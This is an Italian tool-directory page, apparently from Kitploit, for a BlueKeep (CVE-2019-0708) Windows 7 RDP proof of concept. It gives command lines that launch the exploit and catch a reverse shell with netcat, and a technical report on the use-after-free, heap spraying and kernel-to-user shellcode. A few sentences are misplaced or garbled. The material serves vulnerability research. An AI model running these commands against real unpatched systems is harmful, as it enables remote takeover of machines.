Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ricseclab/cve-2019-0708
Analisi delle VulnerabilitàExploitPenetration TestingStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) prova di concetto che consente RCE pre-auth su Windows7

Vedi Repository
15023444 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-0708 (BlueKeep) POC RCE pre-autenticazione su Windows7

Ricerca Security, Inc.

Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services (RDS).

Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il nostro obiettivo è aiutare gli analisti a comprendere meglio le vulnerabilità critiche.

Come usarlo

Prerequisiti

Il nostro codice exploit è scritto in Python 3 e si basa sulla libreria PyRDP. Si prega di configurarli seguendo la guida all'installazione di PyRDP.

Utilizzo

Attualmente il nostro exploit ha come target, ed è testato su, Windows 7 SP 1 (6.1.7601) x64 su Virtual Box.

Se il tuo computer ha l'indirizzo IP 192.168.56.1 e punti al server RDP su example.com:1234, allora digita

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

Se lo script sfrutta con successo il server, un shellcode di connessione di ritorno avvia una connessione TCP dal server verso 192.168.56.1:4444. Pertanto, ad esempio, dovresti attendere la connessione con netcat:

Pertanto, ci sono molte cose da fare dopo aver ottenuto l'esecuzione arbitraria di codice, sebbene tutte queste cose possano essere risolte quasi direttamente. Infine, il nostro exploit ha raggiunto il suo scopo.
root@kitploit:~
$ nc -v -l 4444

Se vuoi cambiare il numero di porta a cui il server si riconnette, usa l'opzione -bp:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Rapporto

La vulnerabilità

Nel maggio 2019, Microsoft ha divulgato una vulnerabilità critica di esecuzione di codice remoto CVE-2019-0708, in Remote Desktop Services (precedentemente noti come Terminal Services). Questa vulnerabilità è pre-autenticazione – il che significa che la vulnerabilità è wormabile, con il potenziale di causare interruzioni diffuse. Un aggressore può sfruttare questa vulnerabilità inviando messaggi di Remote Desktop Protocol (RDP) appositamente modificati al server di destinazione e ottenere l'esecuzione arbitraria di codice con privilegi amministrativi.

Canale Virtuale RDP

Microsoft Remote Desktop Services fornisce a un utente sessioni interattive Windows aperte da remoto. Presenta il desktop Windows dell'utente comunicando con il client utente utilizzando il Remote Desktop Protocol (RDP) sulla porta 3389/TCP.

Il protocollo RDP ha la capacità di essere migliorato attraverso estensioni software chiamate Canale Virtuale. Esempi di miglioramenti funzionali potrebbero includere: supporto per tipi speciali di hardware, audio o altre aggiunte alla funzionalità di base. Questi canali includono canali standard forniti da Microsoft come "rdpdr" (Reindirizzamento), "rdpsnd" (Suono), "cliprdr" (Condivisione appunti), ecc. Gli utenti possono scrivere moduli utilizzando l'API RDP per supportare altri canali. Oltre ai canali sopra menzionati, Microsoft crea due canali per impostazione predefinita: MS_T120 (usato per RDP stesso) e CTXTW (usato in Citrix ICA).

La vulnerabilità è correlata al processo di associazione dei canali virtuali di MS_T120 tramite la richiesta "MCS Connect Initial e GCC Create". Ulteriori informazioni di base sono disponibili su ZDI. Come accennato nell'articolo di ZDI, tutti i canali virtuali richiesti dal client vengono creati utilizzando termdd!IcaCreateChannel(). I puntatori a queste strutture di canale vengono quindi memorizzati in una tabella, che chiameremo ChannelPointerTable. Quando viene stabilita una connessione con il client RDP, tutti i canali virtuali statici, incluso MS_T120, vengono inizializzati internamente dal server RDP di Windows e puntati da ChannelPointerTable.

La query per creare MS_T120 e CTXTW viene emessa da rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig .1: Generazione della query per creare MS_T120 e CTXTW

Dopo che la query viene passata a termdd!IcaBindVirtualChannels(), una struttura di canale virtuale viene creata in termdd!IcaAllocateChannel() e registrata in ChannelPointerTable.

Fig .2: Creazione e registrazione della struttura del canale virtuale

La funzione routine termdd!IcaBindChannel() è responsabile della registrazione di una struttura di canale virtuale in ChannelPointerTable. IcaBindChannel Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x1f.

Fig .3: MS_T1209 viene associato allo slot 0x1f durante la richiesta iniziale

Quindi ChannelPointerTable appare come segue. Nota che MS_T120 è sempre presente nello Slot 0x1F.

Fig .4: ChannelPointerTable durante la richiesta iniziale

Analisi della causa principale

Esiste una vulnerabilità use-after-free nel driver del kernel RDP di Windows, termdd.sys. Il problema è che quando il client specifica un canale con nome MS_T120\x00 durante "MCS Connect Initial e GCC Create", termdd!IcaCreateChannel() chiama termdd!IcaFindChannelByName() e restituisce la struttura del canale MS_T120 esistente nello Slot 0x1F. Quindi questa struttura del canale viene considerata come una nuova voce di canale virtuale e memorizzata in un altro Slot (in questo esempio, Slot 2) durante "MCS Attach User Request". Ecco il trace dello stack su Windows 7 x64, quando termdd!IcaBindChannel() viene chiamata con il primo argomento "MS_T120" e il terzo argomento 0x2.

Fig .5: MS_T1209 viene anche associato allo slot 0x2 durante la richiesta di attach

In altre parole, la struttura del canale MS_T120 è puntata da due slot 0x1F e 0x2.

Fig .6: ChannelPointerTable durante la richiesta di attach

Se un aggressore invia quindi dati non validi nel canale MS_T120, termdd.sys chiude il canale usando termdd!IcaCloseChannel(), cancellando il puntatore nello slot. (Slot 2 nell'esempio corrente) Tuttavia, lo stesso puntatore nello Slot 0x1F non viene cancellato. Successivamente, quando la connessione termina, RDPWD!HandleDisconnectProviderUlt() viene invocata, che a sua volta chiama termdd!IcaChannelInputInternal() e tenta di distruggere nuovamente la struttura del canale MS_T1209 liberata utilizzando il puntatore nello Slot 0x1F. Una procedura di distruzione viene invocata tramite il puntatore vtable all'interno della struttura del canale. Ciò porta a una condizione use-after-free.

Fig .7: dereferenziazione vtable

Heap Spraying

Come spiegato nella sezione precedente, RDPWD!HandleDisconnectProviderUlt() tenta di chiamare una funzione dal puntatore vtable all'interno della struttura del canale liberata. Se un aggressore può controllare i valori nella struttura del canale, può sovrascrivere il puntatore vtable, portando all'esecuzione arbitraria di codice con privilegi di kernel. Per realizzare ciò, tuttavia, ci sono due difficoltà da superare.

Una è come controllare i valori nella struttura del canale liberata in primo luogo. A questo scopo, è tipico e stabile per un aggressore allocare memoria nella stessa posizione in cui si trova la struttura liberata, poiché la vulnerabilità bersaglio è use-after-free. Tuttavia, in questo caso non esiste un modo deterministico per lui di allocare la sua memoria nella posizione target come desidera. Questo perché, nel kernel, molti thread vengono eseguiti e allocano memoria (virtualmente) contemporaneamente. Dove verrà allocata la sua memoria dipende dall'ordine in cui i thread vengono eseguiti. Nella maggior parte dei casi, non può essere certo di aver effettuato un'allocazione riuscita. HeapSizeChange HeapSizeChange

L'altra è dove impostare gli indirizzi della vtable e dei puntatori al suo interno. Come visto nella sezione precedente, un aggressore deve impostare l'indirizzo della vtable. Poiché vuole ottenere l'esecuzione arbitraria di codice, dovrebbe impostare l'indirizzo in modo che la vtable falsa contenga l'indirizzo che vuole venga eseguito (ad esempio l'indirizzo di uno shellcode o di qualche gadget). Tuttavia, quasi certamente non può conoscere un indirizzo così adatto a causa della casualità dell'heap del kernel e di KASLR:

  1. Probabilmente può allocare memoria nell'heap del kernel e scrivere l'indirizzo di uno shellcode nella posizione di memoria allocata. Tuttavia, di solito non può conoscere l'indirizzo del luogo allocato, a causa della casualità come notato sopra.
  2. È improbabile, ma l'altra opzione è usare posizioni di memoria statiche (non heap) che contengono un indirizzo di gadget utili per caso, come da qualche parte nella sezione del codice. Tuttavia, anche questo piano non funzionerebbe bene perché Windows 7 ha la mitigazione KASLR, che randomizza gli indirizzi di quelle posizioni di memoria.

Questi fatti significano che un aggressore non può ottenere direttamente l'esecuzione arbitraria di codice anche se può controllare il puntatore vtable, a meno che non utilizzi un'altra vulnerabilità che riveli gli indirizzi nel kernel. Inoltre, come potresti notare, "l'indirizzo di uno shellcode o di qualche gadget" è anche qualcosa che un aggressore non può conoscere.

Il nostro exploit affronta questi ostacoli con una sola tecnica: heap spraying. L'heap spraying è un metodo per rompere queste casualità, effettuando un gran numero di allocazioni di una grande quantità di memoria.

Fig .8: Utilizzo del pool heap prima dello spraying

Fig .9: Utilizzo del pool heap dopo lo spraying

Ripetendo l'allocazione manipolata molte volte, un aggressore può aumentare la probabilità che parte della memoria allocata si trovi nella posizione della struttura del canale liberata.

Se la maggior parte degli oggetti nell'heap del kernel sono quelli preparati da un aggressore, allora può persino specificare con disinvoltura qualche indirizzo nell'heap come indirizzo della vtable falsa perché l'indirizzo specificato è molto probabile che punti ai suoi oggetti. Notiamo che l'indirizzo base dell'heap del kernel non è randomizzato da KASLR. Fondamentalmente la casualità dell'heap deriva solo dall'ordine di esecuzione dei thread.

Fortunatamente e soprattutto, in Windows 7, il bit NX non è abilitato nel pool del kernel non paginato. Ciò significa che un aggressore può memorizzare nell'heap del kernel non solo la vtable falsa, ma anche uno shellcode direttamente. Questo rende lo sfruttamento molto più semplice poiché non abbiamo bisogno di utilizzare la return-oriented programming.

Fig .10: Permessi della Page Table Entry (PTE)

Per l'heap spraying, ovviamente un aggressore ha bisogno della funzionalità che gli permetta di allocare memoria nell'heap del kernel e di fornire un input in essa. Basandosi sul rapporto di Unit 42 e sull'exploit BlueKeep in Metasploit, abbiamo cercato nei driver del kernel routine che forniscono tale funzionalità. Abbiamo testato molti PDU e infine concluso che il modo più affidabile e utile è inviare PDU del canale virtuale al canale rdpsnd come fa l'exploit di Metasploit. Per tua referenza, spieghiamo perché non abbiamo potuto adottare tre tipi di PDU introdotti nel rapporto di Unit 42:

  • PDU Bitmap Cache: in primo luogo, un aggressore può inviare questo PDU solo durante la prima stretta di mano. Poiché use-after-free si verifica dopo che la stretta di mano è terminata, questo non può essere utilizzato per sovrascrivere la vtable. Inoltre, con quel PDU, un aggressore può allocare solo 0x2b5240 byte (< 3 MB) di memoria, che non sono sufficienti per l'heap spraying.
  • PDU Client Name Request: pensavamo che questo PDU fosse promettente per l'heap spraying. Per quanto abbiamo testato, tuttavia, questo PDU non può essere inviato (o ricevuto) più volte almeno in modo diretto. A causa della mancanza di dettagli, non siamo riusciti a capire se questo risultato significa: che un aggressore deve inviare pacchetti manipolati e complessi per utilizzare questo PDU, o che questa routine è cambiata e non funziona in un ambiente a 64 bit.
  • PDU Refresh Rect: questo PDU è efficiente per l'heap spraying nel senso che un aggressore può allocare una quantità di memoria molto maggiore della dimensione dei dati che invia effettivamente. Tuttavia, poiché un aggressore può controllare solo 8 byte di dati nella memoria allocata da questo PDU, è difficile fare un uso significativo di questa allocazione. Tralasciamo i dettagli, ma pensiamo che almeno 13 byte (8 byte per la vtable e 5 byte per "jmp $+0x1000") di dati dovrebbero poter essere controllati affinché un aggressore possa utilizzare efficacemente questo tipo di PDU.

Il PDU del canale virtuale, come suggerisce il nome, viene scambiato tra client e server per trasportare dati ai canali virtuali statici. Per quanto riguarda come i dati all'interno del PDU verranno elaborati, varia in base al canale. Tra diversi canali ben noti che Microsoft fornisce come estensioni, il canale rdpsnd ha la caratteristica unica di ricevere qualsiasi input e allocare memoria per esso. Poiché questo canale può essere utilizzato per impostazione predefinita in Windows 7, possiamo semplicemente inviare i nostri payload ad esso per l'heap spraying.

Abbiamo scritto una prova di concetto tenendo a mente i punti importanti sopra menzionati e abbiamo ottenuto con successo l'esecuzione arbitraria di codice.

Fig .11: Indirizzo vtable controllato

Fig .12: Riuscito a sovrascrivere l'indirizzo vtable con uno malintenzionato che punta uno shellcode (ud2)

Esecuzione del codice

Sebbene abbiamo descritto come ottenere l'esecuzione di uno shellcode nella sezione precedente, in realtà non è tutto. Lo shellcode viene eseguito nel kernel land mentre ciò che un aggressore vuole sono privilegi amministrativi nello "userland". Sono teoricamente simili in ciò che può fare con esso, ma diversi in come può realizzare le azioni che vuole fare con esso. Ad esempio, con uno shellcode, un aggressore potrebbe dover scrivere centinaia di righe di codice assembly per elencare i file in una directory, mentre potrebbe semplicemente digitare 'dir' con una shell privilegiata.

Pertanto, l'obiettivo del nostro exploit è fornire una shell privilegiata per un aggressore, e ciò richiede alcuni sforzi aggiuntivi per essere realizzato. Poiché lo shellcode viene eseguito nel kernel land, innanzitutto lo shellcode deve trovare o creare un thread (privilegiato) in userland, e quindi eseguire cmd.exe in quel thread. Questa volta dobbiamo considerare due questioni: come trovare o creare un thread, e come allocare memoria nello userland per eseguire lo shellcode in userland.

La prima questione di trovare un thread in userland sorge a causa del fatto che il contesto in cui viene eseguito lo shellcode non è un contesto di processo normale. Se viene eseguito all'interno di un contesto di processo, può semplicemente usare l'istruzione IRET per tornare allo userland. Tuttavia, in questo caso l'esecuzione di IRET causa il blocco del kernel. Esistono diversi modi per risolvere questo problema, ma tra questi, il metodo più generale e utile è asynchronous procedure call (APC), il meccanismo che Windows fornisce per elaborare eventi asincroni. APC consente a un programma di eseguire funzioni in un contesto di thread specificato anche di un processo diverso. Con questo meccanismo, lo shellcode può facilmente e legittimamente creare un nuovo thread in userland.

Quando si registra APC, dobbiamo specificare l'indirizzo da cui un nuovo thread in userland avvia l'esecuzione. Tuttavia, finora abbiamo allocato memoria solo nell'heap del kernel, a cui un thread in userland chiaramente non può accedere. Per far sì che uno shellcode in userland venga eseguito, dobbiamo preparare un'altra posizione di memoria che possa essere vista dallo userland e memorizzare lì lo shellcode in userland. Pertanto, incontriamo la seconda questione di allocare memoria in userland. Un modo possibile e normale per affrontare questo problema è creare una nuova mappatura con ZwAllocateVirtualMemory. Questo è, tuttavia, un po' ridondante, e in realtà esiste un modo più semplice in Windows 7: usare KUSER_SHARED_DATA. KUSER_SHARED_DATA è una struttura dati memorizzata nella mappatura dedicata, che è mappata sia in userland che in kernel land, e si trova all'indirizzo fisso (0x7FFE0000 e 0xFFFFF78000000000, rispettivamente). Questa è una funzionalità simile a vsyscall in Linux. Se memorizziamo lo shellcode in userland in questa mappatura, tutto funziona bene: lo shellcode in kernel land può copiare lo shellcode in userland in questa mappatura, e registrare APC senza difficoltà poiché conosce l'indirizzo della mappatura.

Fig .13: Lo shellcode è memorizzato nella mappatura dedicata, 0x7FFE0000 (usermode) e 0xFFFFF78000000000 (kernelmode)

Fig .14: Un corpo dello Shellcode

Versione Affetta

A questa vulnerabilità è stato assegnato un numero CVE, CVE-2019-0708. Microsoft ha già pubblicato una patch di sicurezza KB4499175 il 15/05/2019. Puoi vedere maggiori dettagli sulla vulnerabilità, sulla versione affetta e sulle mitigazioni qui.

Riconoscimenti

Questo progetto è stato parzialmente supportato da Advanced Technology Lab, Recruit Co., Ltd. Advanced Technology Lab

Scarica lo strumento